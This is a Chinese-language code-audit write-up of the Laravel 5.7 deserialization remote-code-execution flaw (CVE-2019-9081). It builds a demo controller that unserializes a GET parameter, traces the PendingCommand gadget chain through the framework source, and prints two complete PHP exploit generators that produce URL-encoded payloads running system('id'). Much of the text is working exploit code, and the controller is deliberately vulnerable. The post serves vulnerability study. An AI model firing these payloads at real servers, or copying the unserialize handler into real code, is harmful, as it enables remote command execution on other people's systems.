Laravel 代码审计
Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242
Composer 下载 : wget https://getcomposer.org/download/1.8.6/composer.phar
获取 composer.phar
参照 https://www.jianshu.com/p/438a95046403 安装 Composer 和 Laravel
composer create-project laravel/laravel laravel57 "5.7.*"
安装 Laravel 5.7 并生成 laravel57
项目
进入项目文件夹,使用 php artisan serve
启动 web 服务
在 laravel57/routes/web.php
文件添加路由
Route::get("/","\App\Http\Controllers\DemoController@demo");
在 laravel57/app/Http/Controllers/
下添加 DemoController
控制器
namespace App\Http\Controllers;
class DemoController
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
return "peri0d";
}
}
}
app.php
,还包含 cache
目录,其下存放框架生成的用来提升性能的文件,比如路由和服务缓存文件index.php
,它是进入应用程序的所有请求的入口点。还包含一些资源文件,比如图片、JS 和 CSS漏洞触发点位于 Illuminate/Foundation/Testing/PendingCommand.php
中的 run
方法,该文件的功能就是命令执行并获取输出,PendingCommand.php
又定义了 __destruct()
方法,思路就是构造 payload 触发 __destruct()
方法进而调用 run
方法实现 rce
根据已有的 exp 来看,PendingCommand
类的属性如下
$this->app; // 一个实例化的类 Illuminate\Foundation\Application
$this->test; // 一个实例化的类 Illuminate\Auth\GenericUser
$this->command; // 要执行的php函数 system
$this->parameters; // 要执行的php函数的参数 array('id')
在 unserialize($code)
处下断点调试,观察调用栈,发现有几个加载函数,spl_autoload_call()
、Illuminate\Foundation\AliasLoader->load()
、Composer\Autoload\ClassLoader->loadClass()
、Composer\Autoload\includeFile()
。
在加载完所需要的类后,会进入 PendingCommand
类的 __destruct()
方法。由于 hasExecuted
默认是 false
,所以会去执行 run()
函数,run()
函数会在第 8 行执行命令,其代码如下
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
run()
中首先执行了 mockConsoleOutput()
,该函数主要功能就是模拟控制台输出,此时又会加载一些所需要的类。代码如下
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
mockConsoleOutput()
中又调用了 createABufferedOutputMock()
。在 createABufferedOutputMock()
函数中,首先调用 mock()
函数,它的作用主要是进行对象模拟。然后进入循环,要遍历 $this->test
类的 expectedOutput
属性,但是在可以实例化的类中不存在这个属性。当访问一个类中不存在的属性时会触发 __get()
,通过去触发 __get()
方法去进一步构造 pop 链。
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
这里选择 Illuminate\Auth\GenericUser
,其 __get()
魔术方法如下
public function __get($key)
{
return $this->attributes[$key];
}
此时 $this->test
是我们传入的 Illuminate\Auth\GenericUser
的实例化对象,则 $this->attributes[$key]
通过反序列化是可控的,因此我们可以构造$this->attributes
键名为expectedOutput
的数组。这样一来$this->test->expectedOutput
就会返回$this->attributes
中键名为expectedOutput
的数组
回到 mockConsoleOutput()
中,又进行了一次 for 循环,调用了 $this->test->expectedQuestions
,循环体与 createABufferedOutputMock()
大致相同,所以可以构造 $this->attributes
键名为expectedQuestions
的数组绕过
然后就可以走出 mockConsoleOutput()
方法,进入命令执行的关键点 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,这里 Kernel::class
是个固定值,为 Illuminate\Contracts\Console\Kernel
,这里需要搞清楚 $this->app[Kernel::class]
,可以得到如下的函数调用顺序
Container.php:1222, Illuminate\Foundation\Application->offsetGet()
// key = Illuminate\Contracts\Console\Kernel
public function offsetGet($key)
{
return $this->make($key);
}
Application.php:751, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
Container.php:609, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
Container.php:652, Illuminate\Foundation\Application->resolve()
// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// concrete = Illuminate\Foundation\Application
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
Container.php:697, Illuminate\Foundation\Application->getConcrete()
// abstract = Illuminate\Contracts\Console\Kernel
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
在getConcrete()
方法中出了问题,导致可以利用 php 的反射机制实例化任意类。在 getConcrete()
方法中,判断 $this->bindings[$abstract])
是否存在,若存在则返回 $this->bindings[$abstract][‘concrete‘]
。bindings
是 Container.php
中 Container
类的属性,因此我们只需要找到一个继承自 Container
的类,就可以通过反序列化控制 $this->bindings
属性。Illuminate\Foundation\Application
继承自 Container
类。$abstract
为Illuminate\Contracts\Console\Kernel
,只需通过反序列化定义 Illuminate\Foundation\Application
的 $bindings
属性存在键名为 Illuminate\Contracts\Console\Kernel
的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application
类。
在实例化 Application类
的时候, 要满足 isBuildable()
才可以进行 build
protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
此时明显不满足条件,所以接着执行 $object = $this->make($concrete);
,在 make()
函数中成功将 $abstract
重新赋值为 Illuminate\Foundation\Application
,从而成功绕过 isBuildable()
函数,进入 $this->build
方法,就能看到使用ReflectionClass
反射机制,实例化我们传入的类。
在返回一个 Illuminate\Foundation\Application
对象之后,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
又调用了 call()
方法,由于 Illuminate\Foundation\Application
没有 call()
方法,所以会调用父类 Illuminate\Container\Container
的 call()
方法。
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
跟进 BoundMethod::call()
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
在 isCallableWithAtSign()
处判断回调函数是否为字符串并且其中含有 @
,并且 $defaultMethod
默认为 null,很明显不满足条件,进入 callBoundMethod()
,该函数只是判断 $callback
是否为数组。后面的匿名函数直接调用 call_user_func_array()
,并且第一个参数我们可控,参数值为 system
,第二个参数由 getMethodDependencies()
方法返回。跟进 getMethodDependencies()
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
getCallReflector()
用于反射获取 $callback
的对象, 然后执行 addDependencyForCallParameter()
为 $callback
的对象添加一些参数,最后将我们传入的 $parameters
数组和 $dependencies
数组合并, $dependencies
数组为空。最后相当于执行了 call_user_func_array(‘system‘,array(‘id‘))
exp
<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>
<?php
// chain.php
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$exp = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('id'),
$genericuser,
$application
);
echo urlencode(serialize($exp));
?>
调用栈分析 :
Illuminate\Foundation\Testing\PendingCommand->__destruct()
$test = Illuminate\Auth\GenericUser
attributes = array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
$app = Illuminate\Foundation\Application
array(
"Illuminate\Contracts\Console\Kernel" =>
array(
array("concrete"=>"Illuminate\Foundation\Application")
)
)
$command = "system"
$parameters = array("id")
Illuminate\Foundation\Testing\PendingCommand->run()
Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput()
Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock()
// 在 foreach 中访问 expectedOutput 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
Illuminate\Auth\GenericUser->__get()
// return attributes["expectedOutput"]
// return array("0"=>"1")
// 在 foreach 中访问 expectedQuestions 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
Illuminate\Auth\GenericUser->__get()
// return attributes["expectedQuestions"]
// return array("0"=>"1")
// Application 继承了 Container 所以这相当于执行父类的 offsetGet()
Illuminate\Foundation\Application->offsetGet()
// key : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->make()
// abstract : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->make()
// abstract : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->resolve()
// abstract : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->getConcrete()
// $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application
Illuminate\Foundation\Application->call()
Illuminate\Container\BoundMethod->call()
Illuminate\Container\BoundMethod->getMethodDependencies()
同样的,在 PendingCommand
类的 mockConsoleOutput()
函数处,去触发 __get()
方法构造 pop 链,这里选择 Faker\DefaultGenerator
类,其 __get()
方法如下 :
public function __construct($default = null)
{
$this->default = $default;
}
同样的方法绕过 mockConsoleOutput()
函数,运行到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
处。只不过这次的关注点在于 resolve()
函数的 $this->instances[$abstract]
处
// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
// 在这里返回一个可控的实例化对象
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
instances
是 Container.php
中 Container
类的属性。因此我们只需要找到一个继承自 Container
的类,就可以通过反序列化控制 $this->instances
属性。Illuminate\Foundation\Application
继承自 Container
类。$abstract
为Illuminate\Contracts\Console\Kernel
,只需通过反序列化定义 Illuminate\Foundation\Application
的 $instances
属性存在键名为 Illuminate\Contracts\Console\Kernel
的数组就能返回我们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application
类。
其余的就和第一种相同了,不同点在于构造可控实例化对象的方法不同
exp :
<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instance){
$this->instances["Illuminate\Contracts\Console\Kernel"] = $instance;
}
}
}
?>
<?php
// chain.php
$defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application);
echo urlencode(serialize($pendingcommand));
?>
Laravel 5.7 RCE (CVE-2019-9081)
原文:https://www.cnblogs.com/peri0d/p/11508883.html